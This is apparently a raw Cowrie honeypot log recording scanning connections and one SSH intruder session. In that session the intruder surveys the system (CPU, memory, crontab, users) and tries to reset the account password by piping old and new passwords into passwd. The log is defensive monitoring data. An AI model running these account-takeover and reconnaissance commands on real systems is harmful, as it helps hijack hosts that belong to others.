{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:25.091433Z","src_ip":"43.160.206.186","session":"535248c629d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.250.223.224","src_port":62137,"dst_ip":"10.17.0.5","dst_port":23,"session":"f64fa68883a6","protocol":"telnet","message":"New connection: 199.250.223.224:62137 (10.17.0.5:23) [session: f64fa68883a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:25.120100Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:25.388100Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:25.391721Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.115.209.253","src_port":39834,"dst_ip":"10.17.0.5","dst_port":23,"session":"79f9d9477f04","protocol":"telnet","message":"New connection: 74.115.209.253:39834 (10.17.0.5:23) [session: 79f9d9477f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:25.419400Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:25.635158Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.47.123","src_port":60528,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3c889b55b69","protocol":"telnet","message":"New connection: 162.240.47.123:60528 (10.17.0.5:23) [session: a3c889b55b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:25.681991Z"}
{"eventid":"cowrie.session.closed","duration":0.08767986297607422,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:25.769552Z","src_ip":"162.240.47.123","session":"a3c889b55b69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.172.25","src_port":33426,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1ce2c9df370","protocol":"telnet","message":"New connection: 15.204.172.25:33426 (10.17.0.5:23) [session: c1ce2c9df370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:26.056822Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:26.161716Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin2025\\niyz3GGUYeDwt\\niyz3GGUYeDwt\"|passwd|bash","message":"CMD: echo -e \"admin2025\\niyz3GGUYeDwt\\niyz3GGUYeDwt\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:26.166759Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:26.171284Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:26.175310Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.252.82.70","src_port":42618,"dst_ip":"10.17.0.5","dst_port":23,"session":"54764ac04aa7","protocol":"telnet","message":"New connection: 162.252.82.70:42618 (10.17.0.5:23) [session: 54764ac04aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:26.219578Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.246.154.4","src_port":50116,"dst_ip":"10.17.0.5","dst_port":23,"session":"47774515d4a8","protocol":"telnet","message":"New connection: 35.246.154.4:50116 (10.17.0.5:23) [session: 47774515d4a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:26.258661Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/73d83475f362a0f94e0296cb74b6ac9181fcdf8377d1f6a67f20f0290b0b4978","size":32,"shasum":"73d83475f362a0f94e0296cb74b6ac9181fcdf8377d1f6a67f20f0290b0b4978","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/73d83475f362a0f94e0296cb74b6ac9181fcdf8377d1f6a67f20f0290b0b4978 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:26.419275Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.112.192.18","src_port":34662,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc61a6eab540","protocol":"telnet","message":"New connection: 64.112.192.18:34662 (10.17.0.5:23) [session: dc61a6eab540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:26.485781Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:26.950568Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin2025\\niyz3GGUYeDwt\\niyz3GGUYeDwt\\n\"|passwd","message":"CMD: echo \"admin2025\\niyz3GGUYeDwt\\niyz3GGUYeDwt\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:26.954158Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.918221712112427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:27.061649Z","src_ip":"64.150.184.17","session":"de190e03e29b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.223.49.88","src_port":60748,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8d54ec3894d","protocol":"telnet","message":"New connection: 66.223.49.88:60748 (10.17.0.5:23) [session: b8d54ec3894d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:27.110691Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/2957aa967144496b6c33ce450bde92cbe925d12f08ed9b3d7be1f79c4287e7fd","size":25,"shasum":"2957aa967144496b6c33ce450bde92cbe925d12f08ed9b3d7be1f79c4287e7fd","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/2957aa967144496b6c33ce450bde92cbe925d12f08ed9b3d7be1f79c4287e7fd after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:27.197095Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":44606,"dst_ip":"10.17.0.5","dst_port":23,"session":"aeac795dbc26","protocol":"telnet","message":"New connection: 146.71.83.154:44606 (10.17.0.5:23) [session: aeac795dbc26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:27.205138Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.223.49.88","src_port":60750,"dst_ip":"10.17.0.5","dst_port":23,"session":"2551493d8552","protocol":"telnet","message":"New connection: 66.223.49.88:60750 (10.17.0.5:23) [session: 2551493d8552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:27.217806Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":44622,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed6f3d3eeb61","protocol":"telnet","message":"New connection: 146.71.83.154:44622 (10.17.0.5:23) [session: ed6f3d3eeb61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:27.305079Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:27.762084Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:27.765471Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:28.007899Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.77293848991394,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:28.113525Z","src_ip":"36.27.181.167","session":"3532da625bdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.507078409194946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:28.131411Z","src_ip":"41.76.108.14","session":"8eb11069e364","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.55.143.160","src_port":47016,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebb5e10f1447","protocol":"telnet","message":"New connection: 216.55.143.160:47016 (10.17.0.5:23) [session: ebb5e10f1447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:28.256049Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:28.537656Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:28.541526Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.156.231","src_port":34820,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ac15614e304","protocol":"telnet","message":"New connection: 159.65.156.231:34820 (10.17.0.5:23) [session: 8ac15614e304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:28.694966Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.223.49.88","src_port":60752,"dst_ip":"10.17.0.5","dst_port":23,"session":"99bc4ed680a0","protocol":"telnet","message":"New connection: 66.223.49.88:60752 (10.17.0.5:23) [session: 99bc4ed680a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:28.778840Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:28.784786Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.858886003494263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:29.034252Z","src_ip":"209.145.49.9","session":"b9a0f9ec7e4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.833258152008057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:29.106635Z","src_ip":"161.35.204.143","session":"148ac6b470ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.115.209.253","src_port":40750,"dst_ip":"10.17.0.5","dst_port":23,"session":"708e91e6dffe","protocol":"telnet","message":"New connection: 74.115.209.253:40750 (10.17.0.5:23) [session: 708e91e6dffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:29.168321Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:29.307332Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:29.311165Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:29.315326Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:29.559672Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.112.192.18","src_port":35266,"dst_ip":"10.17.0.5","dst_port":23,"session":"303af34bcbdc","protocol":"telnet","message":"New connection: 64.112.192.18:35266 (10.17.0.5:23) [session: 303af34bcbdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:29.615246Z"}
{"eventid":"cowrie.session.closed","duration":30.640079259872437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:30.021946Z","src_ip":"162.252.82.70","session":"433e0a4b3f52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.904178142547607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:30.027686Z","src_ip":"162.252.82.70","session":"a918f1f63376","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.904637098312378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:30.034533Z","src_ip":"209.145.49.9","session":"5abd2b26ec1d","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:30.114382Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:30.118312Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.55.143.160","src_port":47756,"dst_ip":"10.17.0.5","dst_port":23,"session":"26d04684bffa","protocol":"telnet","message":"New connection: 216.55.143.160:47756 (10.17.0.5:23) [session: 26d04684bffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:30.261952Z"}
{"eventid":"cowrie.session.closed","duration":31.055474042892456,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:30.273989Z","src_ip":"161.35.204.143","session":"214ce4f408c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.115.209.253","src_port":41102,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad23ccd95a33","protocol":"telnet","message":"New connection: 74.115.209.253:41102 (10.17.0.5:23) [session: ad23ccd95a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:30.308986Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:30.360590Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":44626,"dst_ip":"10.17.0.5","dst_port":23,"session":"cecdf2663f75","protocol":"telnet","message":"New connection: 146.71.83.154:44626 (10.17.0.5:23) [session: cecdf2663f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:30.437938Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.21.104.13","src_port":45020,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dfe91e1708f","protocol":"telnet","message":"New connection: 46.21.104.13:45020 (10.17.0.5:23) [session: 6dfe91e1708f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:30.542160Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.156.231","src_port":35174,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7d99eec49d3","protocol":"telnet","message":"New connection: 159.65.156.231:35174 (10.17.0.5:23) [session: b7d99eec49d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:30.624216Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:31.042301Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:31.045743Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.003658533096313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:31.052328Z","src_ip":"199.250.223.224","session":"36b6ab75d56c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49632215499878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:31.176580Z","src_ip":"144.79.133.145","session":"e51f828306a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"76.8.60.68","src_port":49080,"dst_ip":"10.17.0.5","dst_port":23,"session":"2763e80bbcd1","protocol":"telnet","message":"New connection: 76.8.60.68:49080 (10.17.0.5:23) [session: 2763e80bbcd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:31.211475Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":44634,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f9a0455baae","protocol":"telnet","message":"New connection: 146.71.83.154:44634 (10.17.0.5:23) [session: 2f9a0455baae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:31.272918Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:31.287697Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.115.209.253","src_port":41354,"dst_ip":"10.17.0.5","dst_port":23,"session":"834495446d04","protocol":"telnet","message":"New connection: 74.115.209.253:41354 (10.17.0.5:23) [session: 834495446d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:31.624029Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.126.156.251","src_port":53650,"dst_ip":"10.17.0.5","dst_port":23,"session":"bad0c1fb7d3f","protocol":"telnet","message":"New connection: 144.126.156.251:53650 (10.17.0.5:23) [session: bad0c1fb7d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:31.673557Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:31.808939Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:31.812606Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.97222924232483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:32.023367Z","src_ip":"51.222.46.37","session":"5ebf80b6d82c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46344780921936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:32.032549Z","src_ip":"66.223.49.88","session":"b7311fbefd52","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:32.055192Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.204.143","src_port":47774,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ce9f413d7ad","protocol":"telnet","message":"New connection: 161.35.204.143:47774 (10.17.0.5:23) [session: 9ce9f413d7ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:32.259919Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.246.154.4","src_port":50010,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a736257d1a9","protocol":"telnet","message":"New connection: 35.246.154.4:50010 (10.17.0.5:23) [session: 7a736257d1a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:32.319456Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:32.572122Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:32.575440Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
